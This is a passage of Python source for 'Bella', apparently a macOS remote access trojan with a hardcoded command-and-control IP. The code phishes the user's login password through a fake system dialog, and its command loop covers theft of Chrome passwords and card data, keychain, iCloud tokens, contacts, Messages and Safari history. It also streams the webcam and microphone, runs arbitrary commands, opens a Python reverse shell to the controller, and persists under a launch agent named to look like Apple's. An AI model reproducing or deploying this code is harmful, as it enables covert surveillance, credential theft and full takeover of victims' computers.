1927 send_msg("%sAccount password already found:\n\t%s\nIf you want to re-phish, delete this entry with 'update_db_entry'.\n" % (blue_star, check.replace("\n", "")), True)
1928 return 1
1929 #os.system("networksetup -setairportpower en0 off") We can't disable Wi-Fi actually, bc then we lose our connection
1930 script_end = "osascript -e 'tell app \"Finder\" to activate' -e 'tell app \"Finder\" to display dialog \"There was an issue accessing the network \\\"%s\\\". To access the network, please enter the user password for %s.\" default answer \"\" buttons {\"Always Allow\", \"Deny\", \"Allow\"} with icon file \"%s\" with hidden answer giving up after 15'" % (wifiNetwork, get_bella_user(), path)
1931 if '.'.join(platform.mac_ver()[0].split('.')[:-1]) < 10.11:
1932 if os.getuid() == 0:
1933 #we are root on yosemite or below. Get the current login window PID so we know who to launch to.
1934 login_window_PID = ''
1935 out = subprocess.Popen('ps ax'.split(), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
1936 for x in out.splitlines():
1937 if 'loginwindow console' in x:
1938 login_window_PID = x.split()[0]
1939 if not login_window_PID:
1940 send_msg('%sCould not find a current login window PID.\n' % red_minus, True)
1941 return
1942 #launch to the current login window PID
1943 script = "launchctl bsexec %s %s" % (login_window_PID, script_end)
1944 else:
1945 #we are normal user on yosemite or below. no security context issues. prompt for kchain.
1946 script = script_end
1947 else:
1948 #we are either root or normal user on el cap or above. call launchctl asuser.
1949 script = "launchctl asuser %s %s" % (bella_UID, script_end)
1950
1951 #out = subprocess.check_output(script, shell=True)
1952 send_msg('[-] Waiting for user input.\n', False)
1953 process = subprocess.Popen(script, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
1954 out = process.stdout.read()
1955 err = process.stderr.read()
1956 if err:
1957 send_msg('%sError! [%s]\n' % (red_minus, err), True)
1958 return
1959 password = out.split("text returned:")[-1].replace("\n", "").split(", gave up")[0]
1960 send_msg("%sUser has attempted to use password: [%s]\n" % (blue_star, password), False)
1961 if password == "":
1962 continue
1963 if verifyPassword(userTB, password):
1964 send_msg("%sVerified! Account password is: [%s]%s\n" % (greenPlus, password, endANSI), False)
1965 subprocess_cleanup()
1966 updateDB(encrypt("%s:%s" % (userTB, password)), 'localPass') #store encrypted pass in DB
1967 #os.system("networksetup -setairportpower en0 on") #enable Wi-Fi
1968 send_msg("%sUsing this password to root Bella.\n" % yellow_star, False)
1969 rooter()
1970 return 1
1971 else:
1972 send_msg("%sUser input: [%s] failed. Trying again.\n" % (red_minus, password), False)
1973 return 1 #this should never get here, while loop should continue indefinitely.
1974
1975def verifyPassword(username, password):
1976 try:
1977 output = subprocess.check_output("dscl /Local/Default -authonly %s %s" % (username, password), shell=True)
1978 return True
1979 except:
1980 return False
1981
1982def vnc_start(vnc_port):
1983 send_msg('%sOpening VNC Connection.\n' % blue_star, False)
1984 if readDB('vnc', True):
1985 payload_path = payload_generator(readDB('vnc', True))
1986 else:
1987 return "%sNo VNC payload was found"
1988 pipe = subprocess.Popen('%s -connectHost %s -connectPort %s -rfbnoauth -disableLog' % (payload_path, host, vnc_port), shell=True, stderr=subprocess.PIPE)
1989 subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'VNC')
1990 send_msg('%sOpened VNC [%s].\n' % (blue_star, pipe.pid), False)
1991 send_msg('%sOpening Stream.\n' % blue_star, False)
1992 time.sleep(2)
1993 send_msg("%sStarted VNC stream over -> %s:%s\n" % (blue_star, host, vnc_port), True)
1994 return 0
1995
1996def get_bella_path():
1997 return helper_location
1998
1999def get_bella_user():
2000 return bella_user
2001
2002def bella(*Emma):
2003 ### We start with having bella only work for the user who initially runs it ###
2004 ### For now, we will assume that the initial user to run Bella is NOT root ###
2005 ### This assumption is made bc if we have a root shell, we likely have a user shell ###
2006 ###set global whoami to current user, this will be stored as the original user in DB
2007 global bella_connection
2008
2009 if not os.path.isdir(get_bella_path()):
2010 os.makedirs(get_bella_path())
2011 creator = createDB() #createDB will reference the global whoami
2012 if not creator[0]:
2013
2014 pass
2015
2016 os.chdir("/Users/%s/" % get_bella_user())
2017
2018 if readDB('lastLogin') == False: #if it hasnt been set
2019 updateDB('Never', 'lastLogin')
2020
2021 if not isinstance(get_model(), str): #if no model, put it in
2022 output = check_output("sysctl hw.model")
2023 if output[0]:
2024 modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
2025 output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
2026 if not output[0]:
2027 model = 'Macintosh'
2028 else:
2029 model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
2030 updateDB(model, 'model')
2031
2032 while True:
2033 subprocess_cleanup()
2034
2035 #rooter(). try to get root automatically. uncomment this line, if you want to run bella on say, a Guest account, and have it automatically escalate to root (via LPE) without you having to do anything.
2036 #create encrypted socket.
2037 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2038 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
2039 sock.settimeout(None)
2040 bella_connection = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_NONE)
2041
2042 try:
2043
2044 bella_connection.connect((host,port))
2045
2046 except socket.error as e:
2047 if e[0] == 61:
2048
2049 pass
2050 else:
2051
2052 pass
2053 time.sleep(5)
2054 continue
2055
2056
2057 while True:
2058 try:
2059 remove_SUID_shell() #remove if it exists
2060
2061 data = recv_msg(bella_connection)
2062
2063 if not data:
2064
2065 break #start listening again.
2066 elif data.startswith('cd'):
2067 path = data[3:]
2068 try:
2069 if path.startswith("~"):
2070 os.chdir(os.path.expanduser(path))
2071 else:
2072 os.chdir(path)
2073 files = []
2074 for x in os.listdir(os.getcwd()):
2075 if not x.startswith('.'):
2076 files.append(x)
2077 stdout_val = '\n'.join(files)
2078 send_msg("cwdcwd%s\n%s" % (os.getcwd(), stdout_val), True)
2079 except OSError, e:
2080 if e[0] == 2:
2081 send_msg("%sNo such file or directory.\n" % red_minus, True)
2082 elif e[0] == 13:
2083 send_msg("%sYou do not have permission to access this directory.\n%sRun 'get_root' to attempt to gain access.\n" % (red_minus, yellow_star), True)
2084 else:
2085 send_msg("%sError\n%s\n" % (red_minus, e), True)
2086
2087 elif data == 'ls': #will be our default ls handler
2088 fileList = [] #this will be used for autocompletion.
2089 filePrint = []
2090 for x in os.listdir(os.getcwd()):
2091 if not x.startswith('.') and x != "Icon\r":
2092 fileList.append(x)
2093 for x in sorted(fileList):
2094 try:
2095 perm = oct(os.stat(x).st_mode)[-3:]
2096 timestamp = time.strftime("%h %e %H:%M", time.localtime(os.lstat(x).st_mtime))
2097 size = byte_convert(os.lstat(x).st_size)
2098 hardlinks = str(os.lstat(x).st_nlink)
2099 isDirectory = stat.S_ISDIR(os.lstat(x).st_mode)
2100 if isDirectory:
2101 dirString = "d"
2102 else:
2103 dirString = "-"
2104 isExecutable = False
2105 if '1' in perm or '3' in perm or '7' in perm:
2106 isExecutable = True
2107 owner = pwd.getpwuid(os.lstat(x).st_uid).pw_name
2108 group = grp.getgrgid(os.lstat(x).st_gid).gr_name
2109 permList = {"0": "---", "1": "--x", "2": "-w-", "3": "-wx", "4": "r--", "5": "r-x", "6": "rw-", "7": "rwx"}
2110 permString = "%s%s%s" % (permList["%s" % perm[0]], permList["%s" % perm[1]], permList["%s" % perm[2]] )
2111 if isDirectory:
2112 x = "%s%s%s/" % (light_blue, x, endANSI)
2113 elif isExecutable:
2114 x = "%s%s%s%s*" % (dark_green, bold, x, endANSI)
2115 else:
2116 pass
2117 fileData = [dirString + permString, hardlinks, owner, group, size, timestamp, x]
2118 filePrint.append(fileData)
2119 except:
2120 pass
2121 send_msg('lserlser' + pickle.dumps((fileList, filePrint)), True)
2122
2123 elif data == 'quit' or data == 'exit':
2124 send_msg("Exit", True)
2125 elif data == "initializeSocket":
2126 send_msg(initialize_socket(), True)
2127 elif data.startswith("payload_response_SBJ29"):
2128 payloads_encoded = data.split(':::')[1]
2129
2130
2131 if inject_payloads(payloads_encoded):
2132 send_msg('Injected payloads into Bella.\n', False)
2133
2134 else:
2135 send_msg('Error injecting payloads', False)
2136
2137 send_msg(initialize_socket(), True)
2138 elif data == "iCloud_token":
2139 tokenForce()
2140 elif data == "insomnia_load":
2141 send_msg(insomnia_load(), True)
2142 elif data == "insomnia_unload":
2143 send_msg(insomnia_unload(), True)
2144 elif data == "manual":
2145 send_msg(manual(), True)
2146 elif data == "screen_shot":
2147 send_msg(screenShot(), True)
2148 elif data.startswith("host_update"):
2149 send_msg("%sAttempting to update server!\n" % yellow_star, False)
2150 (payloads, server_code) = pickle.loads(data[11:])
2151 send_msg(host_update(server_code, payloads), True)
2152 elif data == "chrome_safe_storage":
2153 chrome_safe_storage()
2154 elif data == "check_backups":
2155 send_msg(iTunes_backup_looker()[0], True)
2156 elif data == "keychain_download":
2157 send_msg(keychain_download(), True)
2158 elif data == "iCloud_phish":
2159 check = applepwRead()
2160 if isinstance(check, str):
2161 send_msg("%sAlready have an apple pass.\n\t%s\n" % (blue_star, check), True)
2162 else:
2163 send_msg("appleIDPhishHelp" + appleIDPhishHelp(), True)
2164 elif data.startswith("iCloudPhishFinal"):
2165 appleIDPhish(data[16:].split(":")[0], data[16:].split(":")[1])
2166 elif data == "user_pass_phish":
2167 user_pass_phish()
2168 elif data.startswith("disableKM"):
2169 send_msg(disable_keyboard_mouse(data[9:]), True)
2170 elif data.startswith("enableKM"):
2171 send_msg(enable_keyboard_mouse(data[8:]), True)
2172 elif data == "reboot_server":
2173 send_msg('%sRestarting Bella%s.\n' % (blue, endANSI), False)
2174 send_msg(os.kill(bellaPID, 9), True)
2175 elif data == "current_users":
2176 send_msg('\033[4mCurrently logged in users:\033[0m\n%s' % check_current_users(), True)
2177 elif data == "bella_info":
2178 bella_info()
2179 elif data == "get_root":
2180 rooter()
2181 elif data == 'mike_stream':
2182 time.sleep(3)
2183 reader = readDB('microphone', True).split(' ')[0]
2184 if not reader:
2185 send_msg('%sError reading Microphone payload from Bella DB.\n' % red_minus, True)
2186 else:
2187 path = payload_generator(reader)
2188 mike_helper(path)
2189
2190 elif data == 'gogo_webcam':
2191 reader = readDB('microphone', True).split(' ')[1]
2192 if not reader:
2193 send_msg('%sError reading Webcam payload from Bella DB.\n' % red_minus, True)
2194 else:
2195 path = payload_generator(reader)
2196 webcam_helper(path)
2197
2198 elif data == "chrome_dump":
2199 checkChrome = chromeSSRead()
2200 if isinstance(checkChrome, str):
2201 safe_storage_key = checkChrome
2202 login_data_path = '/Users/%s/Library/Application Support/Google/Chrome/*/Login Data' % get_bella_user()
2203 cc_data_path = '/Users/%s/Library/Application Support/Google/Chrome/*/Web Data' % get_bella_user()
2204 chrome_data = glob(login_data_path) + glob(cc_data_path)
2205 for x in chrome_data:
2206 chrome_dump(safe_storage_key, x)
2207 send_msg('', True)
2208 else:
2209 send_msg("%sNo Chrome Safe Storage Key found!\n%sRun 'chrome_safe_storage' to get this key.\n" % (red_minus, yellow_star), True)
2210
2211 elif data == "iCloud_FMIP":
2212 (username, password, usingToken) = iCloud_auth_process(False)
2213 if password == False: #means we couldnt get any creds
2214 send_msg(username, True) #send reason why
2215 else:
2216 if usingToken:
2217 send_msg("%sCannot locate iOS devices with only a token. Run iCloudPhish if you would like to phish the user for their iCloud Password.\n" % red_minus, True)
2218 else:
2219 FMIP(username, password)
2220
2221 elif data == "iCloud_read":
2222 key = "%sThere is no iCloud ID available.\n" % red_minus
2223 check = applepwRead()
2224 if isinstance(check, str):
2225 key = applepwRead() + "\n"
2226 send_msg(key, True)
2227
2228 elif data == "lpw_read":
2229 key = "%sThere is no local account available.\n" % red_minus
2230 check = local_pw_read()
2231 if isinstance(check, str):
2232 key = "%s\n" % check
2233 send_msg(key, True)
2234
2235 elif data == "bella_version":
2236 send_msg('%sBella Version%s: %s\n' % (underline, endANSI, bella_version), True)
2237
2238 elif data.startswith('update_db_entry'):
2239 (db_col, db_val) = data.split(':::')[1:]
2240 if not db_val.replace(':', ''):
2241 db_val = None
2242 updateDB(None, db_col)
2243 else:
2244 updateDB(encrypt(db_val), db_col)
2245 dict_info = {'localPass': 'Local User Password', 'applePass': 'Local iCloud Password'}
2246 if not db_val:
2247 send_msg('%sDeleted entry for [%s]!\n' % (yellow_star, dict_info[db_col]), True)
2248 else:
2249 send_msg('%sUpdated [%s] with [%s]!\n' % (yellow_star, dict_info[db_col], db_val) , True)
2250
2251 elif data.startswith("mitm_start"):
2252 interface = data.split(":::")[1]
2253 cert = data.split(":::")[2]
2254 mitm_start(interface, cert)
2255
2256 elif data.startswith("mitm_kill"):
2257 interface = data.split(":::")[1]
2258 certsha1 = data.split(":::")[2]
2259 mitm_kill(interface, certsha1)
2260
2261 elif data.startswith("set_client_name"):
2262 name = data.split(":::")[1]
2263 send_msg(set_client_name(name), True)
2264
2265 elif data == 'chat_history':
2266 chat_db = globber("/Users/*/Library/Messages/chat.db")
2267 serial = [] #we do all of this custom serialization because it is way faster and more space efficient.
2268 for x in chat_db:
2269 data = protected_file_reader(x)
2270 send_msg("%sFound messages DB for %s [%s]\n" % (blue_star, x.split("/")[2], byte_convert(len(data))), False)
2271 serial.append('C5EBDE1F'.join( (x.split("/")[2], data) ))
2272 send_msg("%sSending databases over.\n" % yellow_star, False)
2273 send_msg("C5EBDE1F", False)
2274 send_msg('C5EBDE1F_tuple'.join(serial), True)
2275
2276 elif data == 'safari_history':
2277 historyDb = globber("/Users/*/Library/Safari/History.db")
2278 serial = []
2279 for history in historyDb:
2280 copypath = tempfile.mkdtemp()
2281 with open('%s/safari' % copypath, 'w') as content:
2282 content.write(protected_file_reader(history))
2283 database = sqlite3.connect('%s/safari' % copypath)
2284 sql = "SELECT datetime(hv.visit_time + 978307200, 'unixepoch', 'localtime') as last_visited, hi.url, hv.title FROM history_visits hv, history_items hi WHERE hv.history_item = hi.id;"
2285 content = ""
2286 with database:
2287 try:
2288 for x in database.execute(sql):
2289 x = filter(None, x)
2290 content += ' | '.join(x).encode('ascii', 'ignore') + '\n'
2291 except:
2292 pass
2293 content = bz2.compress(content)
2294 serial.append('6E87CF0B'.join((history.split("/")[2], content))) #append owner of history
2295 shutil.rmtree(copypath)
2296 send_msg("6E87CF0B", False)
2297 send_msg('6E87CF0B_tuple'.join(serial), True)
2298
2299 elif data.startswith('interactive_shell'):
2300 interactive_shell_port = data.split(':::')[1]
2301 start_interactive_shell(interactive_shell_port)
2302
2303 elif data == 'iTunes_bk_sms_extract':
2304 iTunes_bk_sms_extract()
2305
2306 elif data.startswith('download'):
2307 file_name = data[8:]
2308 try:
2309 with open(file_name, 'rb') as content:
2310 file_content = content.read()
2311 send_msg("%sFound [%s]. Preparing for download.\n" % (yellow_star, file_name), False)
2312 send_msg("downloader", False)
2313 send_msg(file_content + 'dl_delimiter_x22x32' + file_name, True)
2314 except IOError, e:
2315 send_msg("%s%s\n" % (red_minus, e), True)
2316 except OSError, e:
2317 send_msg("%s%s\n" % (red_minus, e), True)
2318
2319 elif data.startswith('uploader'):
2320 (file_content, file_name) = data[8:].split('ul_delimeter_x22x32')
2321 try:
2322 send_msg("%sBeginning write of [%s].\n" % (yellow_star, file_name), False)
2323 with open(file_name, 'wb') as content:
2324 content.write(file_content)
2325 send_msg("%sSucessfully wrote [%s/%s]\n" % (blue_star, os.getcwd(), file_name), True)
2326 except IOError, e:
2327 send_msg("%s%s\n" % (red_minus, e), True)
2328 except OSError, e:
2329 send_msg("%s%s\n" % (red_minus, e), True)
2330
2331 elif data == "iCloud_query":
2332 (error, errorMessage, dsid, token) = main_iCloud_helper()
2333 if error:
2334 send_msg(errorMessage, True)
2335 else:
2336 iCloud_storage_helper(dsid, token)
2337
2338 elif data == "iCloud_FMF":
2339 (error, errorMessage, dsid, token) = main_iCloud_helper()
2340 if error:
2341 send_msg(errorMessage, True)
2342 else:
2343 cardData = get_card_data(dsid, token)
2344 heard_it_from_a_friend_who(dsid, token, cardData)
2345 send_msg('', True)
2346
2347 elif data == 'iCloud_contacts':
2348 (error, errorMessage, dsid, token) = main_iCloud_helper()
2349 if error:
2350 send_msg(errorMessage, True)
2351 else:
2352 cardData = get_card_data(dsid, token)
2353 for vcard in cardData:
2354 send_msg("\033[1m%s\033[0m\n" % vcard[0][0], False)
2355 for numbers in vcard[1]:
2356 send_msg("[\033[94m%s\033[0m]\n" % numbers, False)
2357 for emails in vcard[2]:
2358 send_msg("[\033[93m%s\033[0m]\n" % emails, False)
2359 localToken = tokenRead()
2360 if localToken != False:
2361 send_msg('\033[1mFound %s iCloud Contacts for %s!\033[0m\n' % (len(cardData), localToken.split("\n")[0]), True)
2362 else:
2363 send_msg('', True)
2364
2365 elif data == '3C336E68854':
2366 time.sleep(2)
2367 cmd = 'python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\'/bin/bash\')" ' + host + ' 3818'
2368 x = subprocess.Popen(cmd, shell=True)
2369
2370 send_msg('', True)
2371
2372 elif data.startswith('vnc_start'):
2373 vnc_port = data.split(':::')[1]
2374 time.sleep(3)
2375 vnc_start(vnc_port)
2376
2377 elif data == 'removeserver_yes':
2378 removeServer()
2379
2380 elif data == 'shutdownserver_yes':
2381 send_msg("Server will shutdown in 3 seconds.\n", True)
2382 subprocess_cleanup()
2383 os.system("sleep 3; launchctl remove %s" % launch_agent_name)
2384 #we shouldnt have to kill iTunes, but if there is a problem with launchctl ..
2385
2386 elif data == 'get_client_info':
2387 client_name = readDB('client_name')
2388 if client_name == False:
2389 output = check_output('scutil --get LocalHostName | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"')
2390 else:
2391 output = check_output('echo "%s" | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"' % client_name)
2392 if not output[0]:
2393 send_msg('Error-MB-Pro -> Error', True)
2394 continue
2395 send_msg(output[1], True)
2396
2397 else:
2398 try:
2399 proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
2400 done = False
2401 while proc.poll() == None:
2402 bella_connection.settimeout(0.0) #set socket to non-blocking (dont wait for data)
2403 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
2404 if recv_msg(bella_connection) == 'sigint9kill':
2405 sys.stdout.flush()
2406 proc.terminate()
2407 send_msg('terminated', True) #send back confirmation along with STDERR
2408 done = True
2409 bella_connection.settimeout(None)
2410 break
2411 except socket.error as e: #no message, business as usual
2412 pass
2413 bella_connection.settimeout(None)
2414 out = select.select([proc.stdout.fileno()], [], [], 5)[0]
2415 if out:
2416 line = proc.stdout.readline()
2417 if line != "":
2418 send_msg(line, False)
2419 else:
2420 #at this point we are done with the loop, can get / send stderr
2421 send_msg(line + proc.stderr.read(), True)
2422 done = True
2423 break
2424 else:
2425 send_msg("%s[%s] is an interactive command.\n%sBella does not support interactive commands.\n%sUse 'interactive_shell' to perform this task.\n" % (blue_star, data, yellow_star, blue_star), True)
2426 sys.stdout.flush()
2427 #proc.terminate()
2428 done = True
2429 break
2430 if not done:
2431 send_msg(proc.stdout.read() + proc.stderr.read(), True)
2432
2433 except socket.error, e:
2434 if e[0] == 32:
2435
2436 pass
2437 except Exception as e:
2438
2439 send_msg(str(e), True)
2440
2441 except socket.error, e:
2442 traceback.print_exc()
2443 subprocess_cleanup()
2444
2445 if e[0] == 54:
2446
2447 pass
2448 break
2449
2450 except Exception:
2451 #any error here will be unrelated to socket malfunction.
2452 bella_error = traceback.format_exc()
2453
2454 send_msg('%sMalfunction:\n```\n%s%s%s\n```\n' % (red_minus, red, bella_error, endANSI), True) #send error to CC, then continue
2455 continue
2456 try:
2457 bella_connection.close()
2458 except:
2459 pass
2460
2461##### Below variables are global scopes that are accessed by most of the methods in Bella. Should make a class structure #####
2462endANSI = '\033[0m'
2463bold = '\033[1m'
2464underline = '\033[4m'
2465red_minus = '\033[31m[-] %s' % endANSI
2466greenPlus = '\033[92m[+] %s' % endANSI
2467blue_star = '\033[94m[*] %s' % endANSI
2468yellow_star = '\033[93m[*] %s' % endANSI
2469violet = '\033[95m'
2470blue = '\033[94m'
2471light_blue = '\033[34m'
2472green = '\033[92m'
2473dark_green = '\033[32m'
2474yellow = '\033[93m'
2475red = '\033[31m'
2476bella_error = ''
2477crypt_key = 'edb0d31838fd883d3f5939d2ecb7e28c'
2478verify_update_id = '2f4e2e37c9b6eecebb0927a96938b4fa'
2479
2480try:
2481 computer_name = subprocess.check_output('scutil --get LocalHostName', shell=True).replace('\n', '')
2482except:
2483 computer_name = platform.node()
2484
2485if os.getuid() == 0:
2486 bella_user = cur_GUI_user()
2487 bella_UID = pwd.getpwnam(bella_user).pw_uid
2488else:
2489 bella_user = getpass.getuser()
2490 bella_UID = pwd.getpwnam(bella_user).pw_uid
2491
2492bellaPID = os.getpid()
2493ROOT_SHELL_PATH = '/usr/local/roots' #try not to change this, it causes permissions errors.
2494launch_agent_name = 'com.apple.Bella'
2495bella_folder = 'Containers/.bella'
2496if os.getuid() == 0:
2497 home_path = ''
2498else:
2499 home_path = os.path.expanduser('~')
2500
2501if '/'.join(os.path.abspath(__file__).split('/')[:-1]).lower() != ('%s/Library/%s' % (home_path, bella_folder)).lower(): #then set up and load agents, etc
2502
2503
2504 create_bella_helpers(launch_agent_name, bella_folder, home_path)
2505
2506helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
2507payload_list = []
2508temp_file_list = []
2509host = '148.85.240.94' #Command and Control IP (listener will run on)
2510port = 4545 #What port Bella will operate over
2511bella_version = '1.36'
2512
2513#### End global variables ####
2514if __name__ == '__main__':
2515 bella()